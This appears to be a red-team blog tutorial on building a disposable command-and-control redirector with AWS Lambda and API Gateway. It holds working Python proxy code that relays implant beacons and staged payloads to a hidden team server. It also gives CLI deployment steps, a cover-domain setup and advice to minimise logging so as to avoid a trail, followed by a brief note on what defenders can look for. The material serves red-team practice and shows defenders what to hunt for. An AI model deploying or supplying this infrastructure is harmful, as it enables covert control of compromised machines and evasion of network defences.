Red Team

Using AWS Lambda as a C2 Redirector

How to use serverless functions as disposable C2 redirectors — routing beacon traffic through AWS Lambda and API Gateway to protect your team server.

Redirectors are a core part of any red team infrastructure. They sit between the target and your team server, absorbing the risk — if a redirector gets burned, you tear it down and spin up a new one without losing your C2 server.

Traditional redirectors use VPS instances running Apache/Nginx with mod_rewrite rules or socat. They work, but they come with overhead: you’re managing servers, patching OS, and each one has a static IP that can be fingerprinted and blocked.

Serverless functions flip this model. AWS Lambda behind API Gateway gives you a disposable, scalable redirector with no server to manage, rotating IPs from AWS’s massive pool, and a legitimate *.amazonaws.com or custom domain that blends in with normal cloud traffic.

Why Lambda for Redirection

  • No infrastructure to manage — No VPS, no OS patching, no SSH keys to secure. Deploy and forget.
  • Rotating IPs — Lambda functions execute from AWS’s IP pool. Each invocation can come from a different IP, making IP-based blocking ineffective.
  • Legitimate domain — Traffic appears to go to *.execute-api.amazonaws.com or your custom domain, which is unlikely to be blocked by corporate proxies.
  • Disposable — If burned, tear down the API Gateway endpoint and redeploy with a new URL in minutes. Automate with Terraform or CloudFormation for rapid turnover.
  • Cost — Effectively free for C2 traffic volumes. Lambda’s free tier covers 1M requests/month.
  • Scalable — Handles burst traffic without any capacity planning. Useful during active operations with multiple implants calling back.

Architecture Overview

The traffic flow is straightforward:

Implant → HTTPS → API Gateway (public URL) → Lambda Function → HTTPS → Team Server (locked down)

The Lambda function acts as a transparent proxy — it receives the beacon’s HTTP request, forwards it to your team server, and returns the response back through API Gateway to the implant. The team server only needs to accept traffic from AWS Lambda IP ranges, keeping it hidden from direct scanning.

The Lambda Redirector Function

This Python function handles the full request/response proxy cycle. It reads the inbound request from API Gateway, forwards it to your team server over HTTPS, and returns the response to the caller.

import base64
import os
import ssl
import http.client
from urllib.parse import urlencode, urlparse

def redirector(event, context):
    print("Incoming event:", event)

    # Build URL (strip stage if needed)
    teamserver = os.getenv("TEAMSERVER")           # e.g. "cs.example.com" or "1.2.3.4:8443"
    raw_path   = event.get("rawPath") or event["requestContext"]["http"]["path"]
    full_url   = f"https://{teamserver}{raw_path}"
    parsed     = urlparse(full_url)

    # Reconstruct query string safely
    qs = event.get("queryStringParameters") or {}
    query_string = urlencode(qs)

    # Copy headers, but force Host to match your C2 listener
    inbound = {}
    for k, v in event.get("headers", {}).items():
        if k.lower() == "host":
            inbound["Host"] = parsed.hostname
        else:
            inbound[k] = v

    # Decode body if present
    body = b""
    if event.get("body") is not None:
        if event.get("isBase64Encoded", False):
            body = base64.b64decode(event["body"])
        else:
            body = event["body"].encode()

    # Create SSL context that skips validation
    ssl_ctx = ssl.create_default_context()
    ssl_ctx.check_hostname = False
    ssl_ctx.verify_mode    = ssl.CERT_NONE

    # Dial out
    try:
        conn = http.client.HTTPSConnection(
            parsed.hostname,
            parsed.port or 443,
            context=ssl_ctx,
            timeout=10
        )
        path = parsed.path + (f"?{query_string}" if query_string else "")
        method = event["requestContext"]["http"]["method"].upper()

        conn.request(method, path, body=body if method == "POST" else None, headers=inbound)
        resp = conn.getresponse()
    except Exception as e:
        print("Upstream error:", e)
        return {
            "statusCode": 502,
            "body": "Bad Gateway",
        }

    # Collect response
    resp_headers = {h: v for h, v in resp.getheaders()}
    resp_body    = resp.read()

    conn.close()
    return {
        "statusCode": resp.status,
        "headers": resp_headers,
        "body": base64.b64encode(resp_body).decode(),
        "isBase64Encoded": True
    }

How It Works

  1. Extract the request — The function pulls the path, method, headers, query string, and body from the API Gateway event object. If the body is base64-encoded (binary payloads like staged shellcode), it decodes it first.

  2. Rewrite the Host header — The inbound Host header points to the API Gateway domain. The function replaces it with the team server’s hostname so the C2 listener processes it correctly. All other headers (User-Agent, Cookie, custom malleable profile headers) pass through untouched.

  3. Forward to team server — Opens an HTTPS connection to the team server and replays the request. SSL verification is disabled since most team servers use self-signed certs.

  4. Return the response — The C2 listener’s response (Beacon tasks, staged payloads, etc.) is base64-encoded and returned through API Gateway back to the implant. The isBase64Encoded: True flag tells API Gateway to decode it before sending to the client.

Key Design Decisions

  • Environment variable for team server address — The TEAMSERVER value is stored as a Lambda environment variable, not hardcoded. This means the function code itself contains no IOCs. You can also encrypt this value with KMS for an extra layer of protection.
  • SSL verification disabled — Team servers typically run self-signed certificates. In a production setup, you could pin the cert or use a valid certificate from your domain.
  • Binary-safe — The base64 encoding/decoding ensures staged payloads and encrypted beacon traffic pass through cleanly without corruption.
  • Transparent proxying — All headers, query parameters, and body content are forwarded as-is, so your malleable C2 profile works without modification.

Deployment

Create the Lambda Function

# Zip the function
zip redirector.zip lambda_function.py

# Create the Lambda function
aws lambda create-function \
    --function-name c2-redirector \
    --runtime python3.12 \
    --handler lambda_function.redirector \
    --zip-file fileb://redirector.zip \
    --role arn:aws:iam::ACCOUNT_ID:role/lambda-exec-role \
    --environment Variables="{TEAMSERVER=your-teamserver.com:443}" \
    --timeout 30 \
    --memory-size 128

Create the API Gateway

Use an HTTP API (v2) — it’s cheaper, faster, and simpler than REST API for this use case.

# Create HTTP API
aws apigatewayv2 create-api \
    --name c2-redirector-api \
    --protocol-type HTTP

# Create the Lambda integration
aws apigatewayv2 create-integration \
    --api-id API_ID \
    --integration-type AWS_PROXY \
    --integration-uri arn:aws:lambda:REGION:ACCOUNT_ID:function:c2-redirector \
    --payload-format-version 2.0

# Create a catch-all route so any path/method is forwarded
aws apigatewayv2 create-route \
    --api-id API_ID \
    --route-key '$default'

# Deploy
aws apigatewayv2 create-stage \
    --api-id API_ID \
    --stage-name '$default' \
    --auto-deploy

Your redirector is now live at https://API_ID.execute-api.REGION.amazonaws.com.

Configure Your C2 Listener

Point your implant’s callback to the API Gateway URL. For Cobalt Strike, set the host in your listener config. For Havoc or Sliver, update the callback host in the agent profile.

The team server’s security group should only allow inbound HTTPS from AWS Lambda IP ranges for the region you deployed to. This prevents direct access to the team server from anywhere else.

# Lock down team server — only allow Lambda's IP range
aws ec2 authorize-security-group-ingress \
    --group-id sg-xxxx \
    --protocol tcp --port 443 \
    --cidr AWS_LAMBDA_IP_RANGE/18

Custom Domain

The default *.execute-api.amazonaws.com URL works but is obviously an API Gateway endpoint. For a more convincing setup, attach a custom domain:

# Create custom domain mapping
aws apigatewayv2 create-domain-name \
    --domain-name updates.your-cover-domain.com \
    --domain-name-configurations CertificateArn=arn:aws:acm:REGION:ACCOUNT_ID:certificate/CERT_ID

# Map it to your API
aws apigatewayv2 create-api-mapping \
    --api-id API_ID \
    --domain-name updates.your-cover-domain.com \
    --stage '$default'

Now your beacon callbacks go to https://updates.your-cover-domain.com — which resolves to API Gateway, hits Lambda, and proxies to your team server. Clean, categorized, and hard to distinguish from legitimate SaaS traffic.

Operational Considerations

  • Logging — Lambda logs to CloudWatch by default. Disable or minimize logging in production to avoid leaving a trail of beacon requests in your AWS account. Alternatively, set a short CloudWatch retention period.
  • Timeout — Set the Lambda timeout to 30 seconds. Most beacon callbacks complete in under a second, but staged payloads or large task responses may take longer.
  • Regions — Deploy across multiple regions for redundancy. If one endpoint gets blocked, your implant can fall back to another region’s URL.
  • Rate limiting — API Gateway supports throttling. Be aware of the default burst/rate limits and adjust if you’re running a high volume of callbacks.
  • Terraform — For repeatable deployments, wrap the entire setup (Lambda, API Gateway, IAM role, security groups) in Terraform modules. This lets you spin up and tear down complete redirector stacks in seconds.
  • Cost — Lambda’s free tier includes 1M requests and 400,000 GB-seconds per month. Even a busy engagement won’t come close to exceeding this.

Detection Considerations

From the blue team’s perspective, Lambda redirectors are harder to detect than traditional VPS redirectors:

  • No static IP to block — Traffic originates from AWS’s Lambda IP pool, which rotates and overlaps with legitimate AWS services.
  • Legitimate TLS certificates — API Gateway uses Amazon-issued certificates, making TLS fingerprinting less effective.
  • Common domain*.amazonaws.com is allowlisted in most corporate environments. Custom domains add another layer of legitimacy.

That said, defenders can still look for:

  • JA3 fingerprints — The Lambda Python runtime’s TLS client hello has a distinct JA3 hash when connecting to the team server.
  • API Gateway patterns — Unusual traffic patterns to API Gateway endpoints (high frequency, odd hours, binary payloads) can be flagged.
  • CloudTrail — If the red team’s AWS account is compromised or audited, CloudTrail logs show the Lambda invocations.

Conclusion

Lambda redirectors are a natural evolution of C2 infrastructure. They eliminate the overhead of managing VPS redirectors while providing better IP diversity, legitimate domains, and disposable infrastructure. Combined with the security group lockdown on your team server, this approach keeps your C2 backend hidden while routing traffic through AWS’s trusted infrastructure.

For a broader overview of C2 infrastructure design, check out the Modern C2 Usage post which covers framework selection, layered architecture, and evasion tradecraft.

ESC

Start typing to search...